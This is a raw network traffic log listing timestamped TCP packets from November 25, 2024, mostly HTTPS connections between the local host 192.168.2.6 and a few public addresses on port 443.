Nov 25, 2024 18:28:48.837954998 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.838125944 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.838193893 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.838309050 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.838340044 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.838361025 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.838370085 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.842844009 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.842888117 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:48.842943907 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.843444109 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:48.843460083 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:49.307585955 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:49.307679892 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:49.309847116 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:49.309853077 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:49.310117006 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:49.340809107 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:49.341080904 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:49.341094017 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:49.342658997 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:49.342739105 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:49.343832970 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:49.343915939 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:49.352034092 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:49.391052961 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:49.391062021 CET	443	49801	142.250.181.68	192.168.2.6
Nov 25, 2024 18:28:49.395364046 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:49.437385082 CET	49801	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:28:49.872145891 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:49.872215986 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:49.872289896 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:49.953238010 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:49.953250885 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:49.953280926 CET	49803	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:49.953288078 CET	443	49803	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:50.040007114 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.040220022 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.042928934 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.096596003 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.136254072 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.136270046 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.136606932 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.151746035 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.151773930 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.181643009 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.190643072 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.190675020 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.196345091 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.196521997 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.196527004 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.196894884 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.214432955 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:50.214473009 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:50.214531898 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:50.214982033 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:50.214994907 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:50.239336967 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.301089048 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.301584005 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.301613092 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.302067041 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.302073002 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.308548927 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.308917999 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.308928013 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.309796095 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.309802055 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.365726948 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.366785049 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.366825104 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.367317915 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.367330074 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.509951115 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.510011911 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.510066032 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.510224104 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.510241032 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.510253906 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.510261059 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.513729095 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.513753891 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.513820887 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.513956070 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.513967991 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.810779095 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.811306000 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.811333895 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.812465906 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.812472105 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.926856041 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.926899910 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.926947117 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.926960945 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.926981926 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.926996946 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.927093983 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.927098989 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.927124977 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.927165985 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.927185059 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.927191019 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.927396059 CET	49802	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:50.927413940 CET	443	49802	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:50.927506924 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.927517891 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.927527905 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.927534103 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.927874088 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.927879095 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.927910089 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.927913904 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.928143024 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.928174019 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.928188086 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.928198099 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.931382895 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.931408882 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.931571960 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.932097912 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.932117939 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.932183027 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.932435989 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.932482958 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.932538986 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.932720900 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.932735920 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.932920933 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.932934046 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:50.933039904 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:50.933069944 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.260462046 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.260524035 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.260607004 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.268213987 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.268213987 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.268239975 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.268249989 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.272316933 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.272370100 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.272439957 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.273767948 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.273783922 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.617213964 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:51.617296934 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:51.618803978 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:51.618813992 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:51.619080067 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:51.620212078 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:51.667330027 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:51.770667076 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.770709038 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.770783901 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.771047115 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.771056890 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.797878027 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.797904015 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:51.797990084 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.798213959 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:51.798234940 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.129506111 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:52.129585028 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:52.130295992 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:52.130331039 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:52.130354881 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:52.130366087 CET	49809	443	192.168.2.6	2.18.109.164
Nov 25, 2024 18:28:52.130373955 CET	443	49809	2.18.109.164	192.168.2.6
Nov 25, 2024 18:28:52.542941093 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.551450014 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.551489115 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.552120924 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.552125931 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.699831963 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.704427004 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.713188887 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.739852905 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.756768942 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.756769896 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.768660069 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.768681049 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.769107103 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.769114017 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.769320011 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.769328117 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.769799948 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.769804001 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.770159006 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.770173073 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.770708084 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.770714045 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.994133949 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.994200945 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.994286060 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.994700909 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.994714975 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.994726896 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.994731903 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.997524977 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.997554064 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:52.997648001 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.997941017 CET	49821	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:52.997952938 CET	443	49821	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.136986017 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.137065887 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.137130022 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.137356997 CET	49813	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.137372971 CET	443	49813	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.140335083 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.140511036 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.140580893 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.140638113 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.140858889 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.140883923 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.140925884 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.140952110 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.141025066 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.141158104 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.141172886 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.141184092 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.141189098 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.141527891 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.141535044 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.141680956 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.141695023 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.143970966 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.144006014 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.144072056 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.144212961 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.144224882 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.149385929 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.149442911 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.149488926 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.149791956 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.149807930 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.149835110 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.149841070 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.152935982 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.152966976 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.153032064 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.153163910 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.153177023 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.586764097 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.586915016 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.586981058 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.587132931 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.587146997 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.587157965 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.587163925 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.590095997 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.590127945 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.590203047 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.590399027 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.590411901 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.607297897 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.607539892 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.607551098 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.608642101 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.608762980 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.609910965 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.609982967 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.610073090 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.610085011 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.629635096 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.629852057 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.629880905 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.630928040 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.630995035 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.631917000 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.631999016 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.632124901 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.632143021 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:53.653867960 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:53.684163094 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.139283895 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.139303923 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.139345884 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.139357090 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.139379978 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.139421940 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.139431000 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.139489889 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.139828920 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.162436008 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.162463903 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.162472010 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.162492037 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.162506104 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.162517071 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.162571907 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.162585974 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.162600040 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.162600040 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.162977934 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.338898897 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.338929892 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.339051962 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.339051962 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.339059114 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.339340925 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.376384020 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.376395941 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.376434088 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.376538038 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.376538038 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.376552105 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.376725912 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.397864103 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.397881985 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.398003101 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.398014069 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.398149014 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.435585976 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.435614109 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.435692072 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.435692072 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.435705900 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.435779095 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.457585096 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.457670927 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.457727909 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.457786083 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.458161116 CET	49819	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.458175898 CET	443	49819	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.523718119 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.523744106 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.523890972 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.523890972 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.523900032 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.523997068 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.553066969 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.553087950 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.553235054 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.553244114 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.553450108 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.570616007 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.570632935 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.570838928 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.570848942 CET	443	49820	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:54.571099043 CET	49820	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:54.590904951 CET	443	49820	13.107.246.63	192.168.2.6
